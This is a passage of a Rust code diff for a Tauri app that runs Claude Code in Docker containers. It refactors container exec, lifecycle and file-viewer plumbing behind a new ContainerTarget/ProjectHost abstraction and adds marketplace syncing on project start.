         let parent = parse_find_output("/workspace", &records);
@@ -3607,7 +3554,7 @@ mod tests {
         for path in ["/workspace/broken", "/workspace/loop"] {
             let started = std::time::Instant::now();
             let (records, diagnostics, code) =
-                exec_oneshot_streams_as(&name, "claude", list_argv(path), Vec::new())
+                target.exec_oneshot_streams_as("claude", list_argv(path), Vec::new())
                     .await
                     .unwrap();
             let took = started.elapsed();

app/src-tauri/src/commands/file_viewer_commands.rs

@@ -15,9 +15,10 @@ use crate::file_viewer::poll::{poll_file, ViewerPoll};
 use crate::file_viewer::registry::{
     Choice, Location, Reservation, ViewerRegistry, ViewerTarget, ViewerTargetState,
 };
-use crate::file_viewer::resolve::{candidate_paths, probe_candidates};
+use crate::file_viewer::resolve::{candidate_paths, fallback_candidate_paths, probe_candidates};
 use crate::file_viewer::window::open_viewer_window;
 use crate::file_viewer::write::{sha256_hex, write_file, SavedFile, MAX_WRITE_BYTES};
+use crate::host::ContainerTarget;
 use crate::models::Project;
 use crate::AppState;
 
@@ -113,13 +114,11 @@ fn project_of(state: &AppState, project_id: &str) -> Result<Project, String> {
 }
 
 /// `action` completes "Start the project before …", e.g. "saving this file".
-async fn running_container_of(project: &Project, action: &str) -> Result<String, String> {
-    let container_id = project
-        .container_id
-        .clone()
+async fn running_container_of(project: &Project, action: &str) -> Result<ContainerTarget, String> {
+    let container = ContainerTarget::for_project(project)
         .ok_or_else(|| not_running_message(action, "files live in its container"))?;
-    require_running(&container_id, action).await?;
-    Ok(container_id)
+    require_running(&container, action).await?;
+    Ok(container)
 }
 
 /// The container of the project a viewer window belongs to, if it is running.
@@ -127,7 +126,7 @@ async fn running_container_for(
     state: &AppState,
     target: &ViewerTarget,
     action: &str,
-) -> Result<String, String> {
+) -> Result<ContainerTarget, String> {
     running_container_of(&project_of(state, &target.project_id)?, action).await
 }
 
@@ -156,11 +155,20 @@ pub async fn open_file_viewer(
 ) -> Result<(), String> {
     require_main(window.label())?;
     let project = project_of(&state, &project_id)?;
-    let container_id = running_container_of(&project, "opening files").await?;
+    let container = running_container_of(&project, "opening files").await?;
 
     let mounts: Vec<String> = project.paths.iter().map(|p| p.mount_name.clone()).collect();
-    let candidates = candidate_paths(&path, &mounts)?;
-    let matches = probe_candidates(&container_id, &candidates).await?;
+    let mut candidates = candidate_paths(&path, &mounts)?;
+    let mut matches = probe_candidates(&container, &candidates).await?;
+    // Not in the project: try home and /tmp, as a second exec so a project file
+    // never becomes a chooser because a namesake sits in /tmp.
+    if matches.is_empty() {
+        let fallbacks = fallback_candidate_paths(&path);
+        if !fallbacks.is_empty() {
+            matches = probe_candidates(&container, &fallbacks).await?;
+            candidates.extend(fallbacks);
+        }
+    }
     let initial = Location { line, col, end_line };
 
     let target_state = match matches.len() {
@@ -244,9 +252,9 @@ pub async fn viewer_read_file(
 ) -> Result<ViewerFile, String> {
     let (_label, target) = own_target(&window, &registry)?;
     let path = resolved_path(&target)?;
-    let container_id = running_container_for(&state, &target, "opening files").await?;
+    let container = running_container_for(&state, &target, "opening files").await?;
     let cap = max_bytes.clamp(1, MAX_READ_BYTES);
-    let fetched = fetch_container_file(&container_id, &path, cap).await?;
+    let fetched = fetch_container_file(&container, &path, cap).await?;
     let (editable, readonly_reason) = match validate_container_write_path("File", &path) {
         Ok(()) => (true, None),
         Err(reason) => (false, Some(reason)),
@@ -269,8 +277,8 @@ pub async fn viewer_poll_file(
 ) -> Result<ViewerPoll, String> {
     let (_label, target) = own_target(&window, &registry)?;
     let path = resolved_path(&target)?;
-    let container_id = running_container_for(&state, &target, "checking this file for changes").await?;
-    poll_file(&container_id, &path).await
+    let container = running_container_for(&state, &target, "checking this file for changes").await?;
+    poll_file(&container, &path).await
 }
 
 /// Errors from `write_file` pass through unchanged: the frontend matches the
@@ -293,8 +301,8 @@ pub async fn viewer_write_file(
     let bytes = BASE64
         .decode(contents_base64.as_bytes())
         .map_err(|_| "The editor sent malformed content.".to_string())?;
-    let container_id = running_container_for(&state, &target, "saving this file").await?;
-    write_file(&container_id, &state.exec_manager, &path, &bytes, &base_hash).await
+    let container = running_container_for(&state, &target, "saving this file").await?;
+    write_file(&container, &state.exec_manager, &path, &bytes, &base_hash).await
 }
 
 #[cfg(test)]

app/src-tauri/src/commands/inspect_commands.rs

@@ -12,8 +12,9 @@
 //!
 //! ## Container access
 //!
-//! All work happens inside the container via the existing `docker exec`
-//! plumbing in [`crate::docker::exec`] — no second mechanism is introduced.
+//! All work happens inside the container via the existing exec plumbing,
+//! reached through [`crate::host::ContainerTarget`] — no second mechanism is
+//! introduced.
 //! The heavy lifting (walking dirs, grepping transcripts, parsing JSON with
 //! `jq`) runs *in* the container and only a small JSON summary crosses the
 //! wire, so multi-megabyte transcripts are never streamed back.
@@ -56,13 +57,11 @@
 //! commands fail loudly, since they cannot do anything useful without a
 //! running container.
 
-use bollard::exec::{CreateExecOptions, StartExecOptions};
 use serde::{Deserialize, Serialize};
 use tauri::State;
 
-use crate::docker::client::get_docker;
-use crate::docker::container::is_container_running;
-use crate::docker::exec::{exec_oneshot_env, exec_oneshot_env_status};
+use crate::docker::CONTAINER_HOME;
+use crate::host::{ContainerTarget, ExecSpec};
 use crate::AppState;
 
 /// Newest N session transcripts to inspect. Caps the work done inside the
@@ -72,8 +71,6 @@ const MAX_SESSIONS: usize = 50;
 /// Newest N scheduler notifications to return.
 const MAX_NOTIFICATIONS: usize = 50;
 
-const CONTAINER_HOME: &str = "/home/claude";
-
 /// Caps on the free-text fields of a scheduled task. They exist to keep a
 /// runaway paste out of the container's task JSON and out of the `docker exec`
 /// payload; they are generous enough for a real prompt.
@@ -193,7 +190,7 @@ pub struct SchedulerNotification {
 // Shared helpers
 // ─────────────────────────────────────────────────────────────────────────────
 
-/// Resolve a project to a *running* container id.
+/// Resolve a project to its *running* container.
 ///
 /// `Ok(None)` means "there is nothing to inspect" — no container recorded, or
 /// the container exists but is stopped. Callers that are read-only turn that
@@ -202,19 +199,19 @@ pub struct SchedulerNotification {
 async fn running_container_for(
     project_id: &str,
     state: &State<'_, AppState>,
-) -> Result<Option<String>, String> {
+) -> Result<Option<ContainerTarget>, String> {
     let project = state
         .projects_store
         .get(project_id)
         .ok_or_else(|| format!("Project {} not found", project_id))?;
 
-    let container_id = match project.container_id {
-        Some(id) => id,
+    let target = match ContainerTarget::for_project(&project) {
+        Some(t) => t,
         None => return Ok(None),
     };
 
-    if is_container_running(&container_id).await.unwrap_or(false) {
-        Ok(Some(container_id))
+    if target.is_running().await.unwrap_or(false) {
+        Ok(Some(target))
     } else {
         Ok(None)
     }
@@ -225,7 +222,7 @@ async fn running_container_for(
 async fn require_running_container(
     project_id: &str,
     state: &State<'_, AppState>,
-) -> Result<String, String> {
+) -> Result<ContainerTarget, String> {
     running_container_for(project_id, state).await?.ok_or_else(|| {
         "Container is not running — start the project first.".to_string()
     })
@@ -241,13 +238,13 @@ fn home_env() -> Vec<String> {
 /// the first line) so the combined stream `exec_oneshot_env` returns is pure
 /// stdout and stays parseable as JSON. A non-zero exit therefore surfaces as
 /// empty output, which the callers treat as "nothing to report".
-async fn run_script(container_id: &str, script: impl Into<String>) -> Result<String, String> {
-    exec_oneshot_env(
-        container_id,
-        vec!["sh".to_string(), "-c".to_string(), script.into()],
-        home_env(),
-    )
-    .await
+async fn run_script(target: &ContainerTarget, script: impl Into<String>) -> Result<String, String> {
+    target
+        .exec_oneshot_env(
+            vec!["sh".to_string(), "-c".to_string(), script.into()],
+            home_env(),
+        )
+        .await
 }
 
 /// Parse script output as JSON, degrading to a default value (and a log line)
@@ -301,7 +298,7 @@ fn validate_task_id(id: &str) -> Result<(), String> {
 }
 
 /// Strict allowlist for session ids (Claude Code uses UUIDs).
-fn validate_session_id(id: &str) -> Result<(), String> {
+pub(crate) fn validate_session_id(id: &str) -> Result<(), String> {
     let valid = !id.is_empty()
         && id.len() <= 64
         && id.starts_with(|c: char| c.is_ascii_alphanumeric())
@@ -316,11 +313,11 @@ fn validate_session_id(id: &str) -> Result<(), String> {
 /// Run `triple-c-scheduler <args…>` as a bare argv vector — no shell is
 /// involved, so caller-supplied ids cannot be interpreted as shell syntax.
 /// Returns the combined output, erroring with it on a non-zero exit.
-async fn run_scheduler(container_id: &str, args: Vec<String>) -> Result<String, String> {
+async fn run_scheduler(target: &ContainerTarget, args: Vec<String>) -> Result<String, String> {
     let mut cmd = vec!["triple-c-scheduler".to_string()];
     cmd.extend(args);
 
-    let (output, exit_code) = exec_oneshot_env_status(container_id, cmd, home_env()).await?;
+    let (output, exit_code) = target.exec_oneshot_env_status(cmd, home_env()).await?;
     if exit_code != 0 {
         let detail = output.trim();
         return Err(if detail.is_empty() {
@@ -396,8 +393,8 @@ pub async fn list_claude_sessions(
     project_id: String,
     state: State<'_, AppState>,
 ) -> Result<Vec<ClaudeSession>, String> {
-    let container_id = match running_container_for(&project_id, &state).await? {
-        Some(id) => id,
+    let target = match running_container_for(&project_id, &state).await? {
+        Some(t) => t,
         None => return Ok(Vec::new()),
     };
 
@@ -405,7 +402,7 @@ pub async fn list_claude_sessions(
     // a const usize — never from the caller.
     let script = SESSIONS_SCRIPT.replace("__MAX__", &MAX_SESSIONS.to_string());
 
-    let raw = run_script(&container_id, script).await?;
+    let raw = run_script(&target, script).await?;
     let sessions: Vec<RawSession> = parse_or_default(&raw, "session list");
 
     Ok(sessions
@@ -422,36 +419,6 @@ pub async fn list_claude_sessions(
         .collect())
 }
 
-/// Build the shell command line that resumes a session, for the frontend to
-/// drop into a terminal.
-///
-/// The flag spelling was checked against the CLI in the container image:
-/// `claude --resume <session-id>` (short form `-r`).
-///
-/// The project's permission mode is folded in so the resumed session behaves
-/// like a freshly opened one. The session id is validated first, and the
-/// returned string contains only allowlisted characters.
-#[tauri::command]
-pub async fn resume_session_command(
-    project_id: String,
-    session_id: String,
-    state: State<'_, AppState>,
-) -> Result<String, String> {
-    validate_session_id(&session_id)?;
-
-    let project = state
-        .projects_store
-        .get(&project_id)
-        .ok_or_else(|| format!("Project {} not found", project_id))?;
-
-    let mut parts = vec!["claude".to_string()];
-    parts.extend(project.effective_permission_mode().cli_args());
-    parts.push("--resume".to_string());
-    parts.push(session_id);
-
-    Ok(parts.join(" "))
-}
-
 // ─────────────────────────────────────────────────────────────────────────────
 // 2. Capabilities
 // ─────────────────────────────────────────────────────────────────────────────
@@ -597,12 +564,12 @@ pub async fn list_container_capabilities(
     project_id: String,
     state: State<'_, AppState>,
 ) -> Result<ContainerCapabilities, String> {
-    let container_id = match running_container_for(&project_id, &state).await? {
-        Some(id) => id,
+    let target = match running_container_for(&project_id, &state).await? {
+        Some(t) => t,
         None => return Ok(ContainerCapabilities::default()),
     };
 
-    let raw = run_script(&container_id, CAPABILITIES_SCRIPT).await?;
+    let raw = run_script(&target, CAPABILITIES_SCRIPT).await?;
     Ok(parse_or_default(&raw, "container capabilities"))
 }
 
@@ -712,12 +679,12 @@ pub async fn list_scheduled_tasks(
     project_id: String,
     state: State<'_, AppState>,
 ) -> Result<Vec<ScheduledTask>, String> {
-    let container_id = match running_container_for(&project_id, &state).await? {
-        Some(id) => id,
+    let target = match running_container_for(&project_id, &state).await? {
+        Some(t) => t,
         None => return Ok(Vec::new()),
     };
 
-    let raw = run_script(&container_id, SCHEDULER_LIST_SCRIPT).await?;
+    let raw = run_script(&target, SCHEDULER_LIST_SCRIPT).await?;
     let tasks: Vec<RawScheduledTask> = parse_or_default(&raw, "scheduled tasks");
 
     Ok(tasks
@@ -762,13 +729,13 @@ pub async fn get_scheduled_task_log(
     // Clamped, and an integer by type — cannot carry shell syntax.
     let tail = tail_lines.unwrap_or(200).clamp(1, 5000);
 
-    let container_id = match running_container_for(&project_id, &state).await? {
-        Some(id) => id,
+    let target = match running_container_for(&project_id, &state).await? {
+        Some(t) => t,
         None => return Ok(String::new()),
     };
 
     run_scheduler(
-        &container_id,
+        &target,
         vec![
             "logs".to_string(),
             "--id".to_string(),
@@ -787,15 +754,15 @@ pub async fn get_scheduler_notifications(
     project_id: String,
     state: State<'_, AppState>,
 ) -> Result<Vec<SchedulerNotification>, String> {
-    let container_id = match running_container_for(&project_id, &state).await? {
-        Some(id) => id,
+    let target = match running_container_for(&project_id, &state).await? {
+        Some(t) => t,
         None => return Ok(Vec::new()),
     };
 
     let script =
         SCHEDULER_NOTIFICATIONS_SCRIPT.replace("__MAX__", &MAX_NOTIFICATIONS.to_string());
 
-    let raw = run_script(&container_id, script).await?;
+    let raw = run_script(&target, script).await?;
     let notifications: Vec<RawNotification> = parse_or_default(&raw, "scheduler notifications");
 
     Ok(notifications
@@ -1171,9 +1138,9 @@ pub async fn add_scheduled_task(
         &schedule,
         working_dir.as_deref(),
     )?;
-    let container_id = require_running_container(&project_id, &state).await?;
+    let target = require_running_container(&project_id, &state).await?;
 
-    let output = run_scheduler(&container_id, input.add_args()).await?;
+    let output = run_scheduler(&target, input.add_args()).await?;
     let task_id = parse_created_task_id(&output).ok_or_else(|| {
         format!(
             "The scheduler did not report a task id. Its output was: {}",
@@ -1231,9 +1198,9 @@ pub async fn update_scheduled_task(
         &schedule,
         working_dir.as_deref(),
     )?;
-    let container_id = require_running_container(&project_id, &state).await?;
+    let target = require_running_container(&project_id, &state).await?;
 
-    let output = run_scheduler(&container_id, input.add_args()).await?;
+    let output = run_scheduler(&target, input.add_args()).await?;
     let new_id = parse_created_task_id(&output).ok_or_else(|| {
         format!(
             "The scheduler did not report a task id, so the original task was left in place. Its output was: {}",
@@ -1242,7 +1209,7 @@ pub async fn update_scheduled_task(
     })?;
 
     run_scheduler(
-        &container_id,
+        &target,
         vec!["remove".to_string(), "--id".to_string(), task_id.clone()],
     )
     .await
@@ -1255,7 +1222,7 @@ pub async fn update_scheduled_task(
 
     if enabled == Some(false) {
         if let Err(e) = run_scheduler(
-            &container_id,
+            &target,
             vec!["disable".to_string(), "--id".to_string(), new_id.clone()],
         )
         .await
@@ -1284,11 +1251,11 @@ pub async fn set_scheduled_task_enabled(
     state: State<'_, AppState>,
 ) -> Result<String, String> {
     validate_task_id(&task_id)?;
-    let container_id = require_running_container(&project_id, &state).await?;
+    let target = require_running_container(&project_id, &state).await?;
 
     let subcommand = if enabled { "enable" } else { "disable" };
     let output = run_scheduler(
-        &container_id,
+        &target,
         vec![subcommand.to_string(), "--id".to_string(), task_id],
     )
     .await?;
@@ -1308,39 +1275,20 @@ pub async fn run_scheduled_task_now(
     state: State<'_, AppState>,
 ) -> Result<String, String> {
     validate_task_id(&task_id)?;
-    let container_id = require_running_container(&project_id, &state).await?;
+    let target = require_running_container(&project_id, &state).await?;
 
-    let docker = get_docker()?;
-    let exec = docker
-        .create_exec(
-            &container_id,
-            CreateExecOptions {
-                attach_stdout: Some(false),
-                attach_stderr: Some(false),
-                // Argv vector — no shell, so `task_id` is inert as data.
-                cmd: Some(vec![
-                    "triple-c-scheduler".to_string(),
-                    "run".to_string(),
-                    "--id".to_string(),
-                    task_id.clone(),
-                ]),
-                env: Some(home_env()),
-                user: Some("claude".to_string()),
-                working_dir: Some("/workspace".to_string()),
-                ..Default::default()
-            },
-        )
-        .await
-        .map_err(|e| format!("Failed to create exec: {}", e))?;
-
-    docker
-        .start_exec(
-            &exec.id,
-            Some(StartExecOptions {
-                detach: true,
-                ..Default::default()
-            }),
-        )
+    // Argv vector — no shell, so `task_id` is inert as data. Stdin, stdout and
+    // stderr are all left unattached; the exec is started detached.
+    let spec = ExecSpec::new(vec![
+        "triple-c-scheduler".to_string(),
+        "run".to_string(),
+        "--id".to_string(),
+        task_id.clone(),
+    ])
+    .env(home_env())
+    .no_stdin();
+    let exec_id = target
+        .exec_detached(spec)
         .await
         .map_err(|e| format!("Failed to start task: {}", e))?;
 
@@ -1348,7 +1296,7 @@ pub async fn run_scheduled_task_now(
         "Triggered scheduler task {} in project {} (detached exec {})",
         task_id,
         project_id,
-        exec.id
+        exec_id
     );
     Ok(format!("Task {} started.", task_id))
 }
@@ -1361,10 +1309,10 @@ pub async fn remove_scheduled_task(
     state: State<'_, AppState>,
 ) -> Result<String, String> {
     validate_task_id(&task_id)?;
-    let container_id = require_running_container(&project_id, &state).await?;
+    let target = require_running_container(&project_id, &state).await?;
 
     let output = run_scheduler(
-        &container_id,
+        &target,
         vec!["remove".to_string(), "--id".to_string(), task_id],
     )
     .await?;
@@ -1377,9 +1325,9 @@ pub async fn clear_scheduler_notifications(
     project_id: String,
     state: State<'_, AppState>,
 ) -> Result<(), String> {
-    let container_id = require_running_container(&project_id, &state).await?;
+    let target = require_running_container(&project_id, &state).await?;
     run_scheduler(
-        &container_id,
+        &target,
         vec!["notifications".to_string(), "--clear".to_string()],
     )
     .await?;

app/src-tauri/src/commands/migration_commands.rs

@@ -55,7 +55,8 @@
 
 use tauri::State;
 
-use crate::commands::project_commands::{create_container_for_project, emit_progress};
+use crate::commands::project_commands::emit_progress;
+use crate::docker::{create_container_for_project, default_docker_socket};
 use crate::docker;
 use crate::docker::migration::{self as mig, Recovery};
 use crate::models::{
@@ -1810,14 +1811,6 @@ pub(crate) async fn purge_migration_artifacts(project_id: &str) {
     migration_store::clear_ownerless_for_project(project_id);
 }
 
-fn default_docker_socket() -> String {
-    if cfg!(target_os = "windows") {
-        "//./pipe/docker_engine".to_string()
-    } else {
-        "/var/run/docker.sock".to_string()
-    }
-}
-
 fn human_bytes(n: u64) -> String {
     const UNITS: [&str; 5] = ["B", "KiB", "MiB", "GiB", "TiB"];
     let mut v = n as f64;
@@ -1860,7 +1853,7 @@ async fn stage_payload(
     project_id: &str,
     verbatim: &[String],
 ) -> Result<String, String> {
-    use bollard::container::LogOutput;
+    use crate::host::ExecChunk;
     use futures_util::StreamExt;
     use tokio::io::AsyncWriteExt;
 
@@ -1913,14 +1906,14 @@ async fn stage_payload(
 
     while let Some(msg) = output.next().await {
         match msg {
-            Ok(LogOutput::StdOut { message }) => {
+            Ok(ExecChunk::StdOut(message)) => {
                 if let Err(e) = writer.write_all(&message).await {
                     stream_err = Some(format!("Failed to write the staging file: {}", e));
                     break;
                 }
                 total += message.len() as u64;
             }
-            Ok(LogOutput::StdErr { message }) => {
+            Ok(ExecChunk::StdErr(message)) => {
                 stderr_text.push_str(&String::from_utf8_lossy(&message));
             }
             Ok(_) => {}
@@ -1979,7 +1972,7 @@ async fn stage_payload(
 /// anything already present in the base, so collisions should be rare either
 /// way.)
 async fn restore_payload(container_id: &str, host_path: &str) -> Result<(), String> {
-    use bollard::container::LogOutput;
+    use crate::host::ExecChunk;
     use futures_util::StreamExt;
     use tokio::io::{AsyncReadExt, AsyncWriteExt};
 
@@ -2007,7 +2000,7 @@ async fn restore_payload(container_id: &str, host_path: &str) -> Result<(), Stri
         let mut text = String::new();
         while let Some(msg) = output.next().await {
             match msg {
-                Ok(LogOutput::StdErr { message }) | Ok(LogOutput::StdOut { message }) => {
+                Ok(ExecChunk::StdErr(message)) | Ok(ExecChunk::StdOut(message)) => {
                     text.push_str(&String::from_utf8_lossy(&message))
                 }
                 Ok(_) => {}

app/src-tauri/src/commands/mod.rs

@@ -8,6 +8,7 @@ pub mod gateway_commands;
 pub mod help_commands;
 pub mod inspect_commands;
 pub mod install_helper_commands;
+pub mod marketplace_commands;
 pub mod migration_commands;
 pub mod notes_commands;
 pub mod project_commands;

app/src-tauri/src/commands/project_commands.rs

@@ -2,7 +2,9 @@ use tauri::{Emitter, State};
 
 use crate::commands::aws_commands;
 use crate::docker;
-use crate::models::{container_config, AppSettings, Backend, BedrockAuthMethod, Project, ProjectPath, ProjectRemovalReport, ProjectResetOutcome, ProjectStatus};
+use crate::host::lifecycle::{DiscardLeftovers, ProjectHost};
+use crate::host::ContainerTarget;
+use crate::models::{Backend, BedrockAuthMethod, Project, ProjectPath, ProjectRemovalReport, ProjectResetOutcome, ProjectStatus};
 use crate::storage::secure;
 use crate::AppState;
 
@@ -114,48 +116,6 @@ fn store_secrets_for_project(project: &Project, explicitly_cleared: &[&str]) ->
     Ok(())
 }
 
-/// Create the project's container, threading every global setting through.
-///
-/// Exists so that the two ordinary create paths below and base-image migration
-/// cannot drift apart — a container created by a migration must be
-/// indistinguishable from one created by a normal start, or the next
-/// `container_needs_recreation` would immediately throw it away.
-///
-/// `create_image` is what to create *from* (the snapshot or the base);
-/// `base_image_name` is the configured base, which `create_container` needs in
-/// order to tell those two apart when it stamps the lineage labels.
-pub(crate) async fn create_container_for_project(
-    project: &Project,
-    settings: &AppSettings,
-    docker_socket: &str,
-    aws_config_path: Option<&str>,
-    create_image: &str,
-    base_image_name: &str,
-    extras: docker::CreateExtras<'_>,
-) -> Result<String, String> {
-    docker::create_container(
-        project,
-        docker_socket,
-        create_image,
-        base_image_name,
-        extras,
-        aws_config_path,
-        &settings.global_aws,
-        &settings.global_ollama,
-        &settings.global_llamacpp,
-        &settings.global_openai_compatible,
-        settings.global_claude_instructions.as_deref(),
-        &settings.global_custom_env_vars,
-        settings.timezone.as_deref(),
-        settings.global_claude_code_settings.as_ref(),
-        settings.default_ssh_key_path.as_deref(),
-        settings.ca_cert_path.as_deref(),
-        settings.default_git_user_name.as_deref(),
-        settings.default_git_user_email.as_deref(),
-    )
-    .await
-}
-
 /// Populate secret fields on a project struct from the OS keychain.
 pub(crate) fn load_secrets_for_project(project: &mut Project) {
     project.git_token = secure::get_project_secret(&project.id, "git-token")
@@ -774,7 +734,8 @@ pub async fn remove_project(
         if let Some(ref stored_id) = project.container_id {
             state.exec_manager.close_sessions_for_container(stored_id).await;
         }
-        let container_ref = match docker::find_existing_container(project).await {
+        let host = ProjectHost::for_project(project);
+        let container_ref = match host.find_current(project).await {
             Ok(found) => found,
             Err(e) => {
                 log::warn!(
@@ -785,15 +746,14 @@ pub async fn remove_project(
                 None
             }
         };
-        if let Some(ref container_id) = container_ref {
-            if project.container_id.as_deref() != Some(container_id.as_str()) {
-                state.exec_manager.close_sessions_for_container(container_id).await;
+        if let Some(ref container) = container_ref {
+            if project.container_id.as_deref() != Some(container.id()) {
+                state.exec_manager.close_sessions_for_container(container.id()).await;
             }
-            let _ = docker::stop_container(container_id).await;
-            if let Err(e) = docker::remove_container(container_id).await {
+            if let Err(e) = host.remove(container).await {
                 log::warn!(
                     "Failed to remove container {} for project {}: {}",
-                    container_id, project_id, e
+                    container.id(), project_id, e
                 );
                 // Recorded by name, not id: the name is the stable handle a
                 // later retry can still resolve (Docker's remove-container
@@ -805,15 +765,12 @@ pub async fn remove_project(
 
         // Legacy MCP cleanup (pre-MCP-removal installs): drop any leftover MCP
         // containers first, then the per-project network they were attached to.
-        docker::remove_legacy_mcp_containers(&project.id).await;
-        docker::remove_legacy_project_network(&project.id).await;
+        host.remove_legacy_leftovers(project).await;
 
         // Clean up the snapshot image + volumes
-        if let Err(e) = docker::remove_snapshot_image(project).await {
-            log::warn!("Failed to remove snapshot image for project {}: {}", project_id, e);
-            report.image = Some(docker::get_snapshot_image_name(project));
-        }
-        report.volumes = docker::remove_project_volumes(project).await;
+        let left = host.discard_project_state(project).await;
+        report.image = left.image;
+        report.volumes = left.volumes;
     }
 
     // Clean up keychain secrets for this project
@@ -1112,7 +1069,14 @@ pub async fn update_project(
     // for every already-running container at launch. The version of this that
     // re-asserted on every save is what turned a stale flag in a payload into a
     // restarted bridge.
-    state.projects_store.update(project)
+    //
+    // The restore above served the validation; it is redone under the store's
+    // lock against the record as it is *now*, so a marketplace install, a
+    // status change or a container id landing since `stored` was read is kept
+    // rather than written over.
+    state
+        .projects_store
+        .update_restoring(project, restore_store_owned_fields)
 }
 
 /// Restore onto `project` the fields whose value belongs to the store rather
@@ -1148,6 +1112,9 @@ fn restore_store_owned_fields(project: &mut Project, stored: &Project) {
     project.browser_view_enabled = stored.browser_view_enabled;
     project.auth_bridge_enabled = stored.auth_bridge_enabled;
     project.created_at = stored.created_at.clone();
+    // Owned by the marketplace commands; a Config-tab save carries a stale copy.
+    project.marketplace_installs = stored.marketplace_installs.clone();
+    project.marketplace_disabled = stored.marketplace_disabled.clone();
 }
 
 #[tauri::command]
@@ -1194,9 +1161,9 @@ async fn start_project_container_locked(
     // in memory when building environment variables for the container.
     load_secrets_for_project(&mut project);
 
-    // Load settings for image resolution and global AWS
+    // Load settings: backend validation below, and the host's start (image
+    // resolution, global AWS, …).
     let settings = state.settings_store.get();
-    let image_name = container_config::resolve_image_name(&settings.image_source, &settings.custom_image_name);
 
     // Validate backend requirements
     if project.backend == Backend::Bedrock {
@@ -1312,144 +1279,32 @@ async fn start_project_container_locked(
     }
 
     // Wrap container operations so that any failure resets status to Stopped.
-    let result: Result<String, String> = async {
-        // Ensure image exists
-        emit_progress(&app_handle, &project_id, "Checking image...");
-        if !docker::image_exists(&image_name).await? {
-            return Err(format!("Docker image '{}' not found. Please pull or build the image first.", image_name));
-        }
-
-        // Determine docker socket path
-        let docker_socket = settings.docker_socket_path
-            .as_deref()
-            .map(|s| s.to_string())
-            .unwrap_or_else(|| default_docker_socket());
-
-        // AWS config path from global settings
-        let aws_config_path = settings.global_aws.aws_config_path.clone();
-
-        // What we would create this container from *right now*: the project's
-        // snapshot when one exists, else the configured base. This is the value
-        // `container_needs_recreation` compares against the container's
-        // `triple-c.create-image` label — the check that replaced the old
-        // tautological one. It is resolved *before* the commit below, so it
-        // describes the pre-commit world the existing container was born into.
-        let snapshot_image = docker::get_snapshot_image_name(&project);
-        let expected_create_image =
-            if docker::image_exists(&snapshot_image).await.unwrap_or(false) {
-                snapshot_image.clone()
-            } else {
-                image_name.clone()
-            };
-
-        let container_id = if let Some(existing_id) = docker::find_existing_container(&project).await? {
-            // Check if config changed — if so, snapshot + recreate
-            let needs_recreate = docker::container_needs_recreation(
-                &existing_id,
-                &project,
-                &expected_create_image,
-                &settings.global_aws,
-                &settings.global_ollama,
-                &settings.global_llamacpp,
-                &settings.global_openai_compatible,
-                settings.global_claude_instructions.as_deref(),
-                &settings.global_custom_env_vars,
-                settings.timezone.as_deref(),
-                settings.global_claude_code_settings.as_ref(),
-                settings.default_ssh_key_path.as_deref(),
-                settings.ca_cert_path.as_deref(),
-                settings.default_git_user_name.as_deref(),
-                settings.default_git_user_email.as_deref(),
-            ).await.unwrap_or(false);
-
-            if needs_recreate {
-                log::info!("Container config changed for project {} — committing snapshot and recreating", project.id);
-                // Snapshot the filesystem before destroying
-                emit_progress(&app_handle, &project_id, "Saving container state...");
-                if let Err(e) = docker::commit_container_snapshot(&existing_id, &project).await {
-                    log::warn!("Failed to snapshot container before recreation: {}", e);
-                }
-                emit_progress(&app_handle, &project_id, "Recreating container...");
-                let _ = docker::stop_container(&existing_id).await;
-                docker::remove_container(&existing_id).await?;
-
-                // Legacy MCP cleanup: the old container may have been attached to
-                // `triple-c-net-<projectId>`. Tear down leftover MCP containers and
-                // that network now, before the replacement is created without it.
-                docker::remove_legacy_mcp_containers(&project.id).await;
-                docker::remove_legacy_project_network(&project.id).await;
-
-                // Create from snapshot image (preserves system-level changes).
-                // Re-resolved after the commit above: when no snapshot existed
-                // before, one does now, and creating from the base instead
-                // would throw away the state that was just saved.
-                let create_image = if docker::image_exists(&snapshot_image).await.unwrap_or(false) {
-                    snapshot_image.clone()
-                } else {
-                    image_name.clone()
-                };
-
-                let new_id = create_container_for_project(
-                    &project,
-                    &settings,
-                    &docker_socket,
-                    aws_config_path.as_deref(),
-                    &create_image,
-                    &image_name,
-                    docker::CreateExtras::default(),
-                ).await?;
-                emit_progress(&app_handle, &project_id, "Starting container...");
-                docker::start_container(&new_id).await?;
-
-                // The commit above moved `:latest` and orphaned the image it
-                // used to point at; the container holding that image open was
-                // removed a few lines up, so now is when Docker will actually
-                // let it go. Detached because this is housekeeping and the
-                // project is already running — and it sweeps every orphan, not
-                // just this one, so recreations that happened before the sweep
-                // existed are cleaned up too.
-                tauri::async_runtime::spawn(async {
-                    docker::sweep_orphaned_snapshots_logged("after recreation").await;
-                });
-
-                new_id
-            } else {
-                emit_progress(&app_handle, &project_id, "Starting container...");
-                docker::start_container(&existing_id).await?;
-                existing_id
-            }
-        } else {
-            // Container doesn't exist (first start, or Docker pruned it).
-            // Check for a snapshot image first — it preserves system-level
-            // changes (apt/pip/npm installs) from the previous session.
-            if expected_create_image == snapshot_image {
-                log::info!("Creating container from snapshot image for project {}", project.id);
-            }
-            let create_image = expected_create_image.clone();
-
-            emit_progress(&app_handle, &project_id, "Creating container...");
-            let new_id = create_container_for_project(
-                &project,
-                &settings,
-                &docker_socket,
-                aws_config_path.as_deref(),
-                &create_image,
-                &image_name,
-                docker::CreateExtras::default(),
-            ).await?;
-            emit_progress(&app_handle, &project_id, "Starting container...");
-            docker::start_container(&new_id).await?;
-            new_id
-        };
+    let host = ProjectHost::for_project(&project);
+    let result: Result<ContainerTarget, String> = async {
+        let target = host
+            .ensure_started(&project, &settings, &|msg: &str| {
+                emit_progress(&app_handle, &project_id, msg)
+            })
+            .await?;
 
         // Sync Bedrock credentials on every start: refresh static/session creds
         // so rotated keys are picked up without a full container recreation, and
         // clear stale creds when the project no longer uses static-cred Bedrock.
-        if let Err(e) = docker::sync_bedrock_credentials(&container_id, &project).await {
+        if let Err(e) = docker::sync_bedrock_credentials(&target, &project).await {
             log::warn!("Failed to sync AWS credentials for project {}: {}", project.id, e);
         }
 
-        Ok(container_id)
+        // Marketplace items sync in the background — see `spawn_project_sync`
+        // for why the start never waits on it or fails because of it.
+        crate::marketplace::spawn_project_sync(
+            app_handle.clone(),
+            state.marketplace.clone(),
+            state.settings_store.get(),
+            project.clone(),
+            target.clone(),
+        );
+
+        Ok(target)
     }.await;
 
     // On failure, reset status to Stopped so the project doesn't get stuck.
@@ -1458,7 +1313,8 @@ async fn start_project_container_locked(
         let _ = state.projects_store.update_status(&project_id, ProjectStatus::Stopped);
     }
 
-    let container_id = result?;
+    let target = result?;
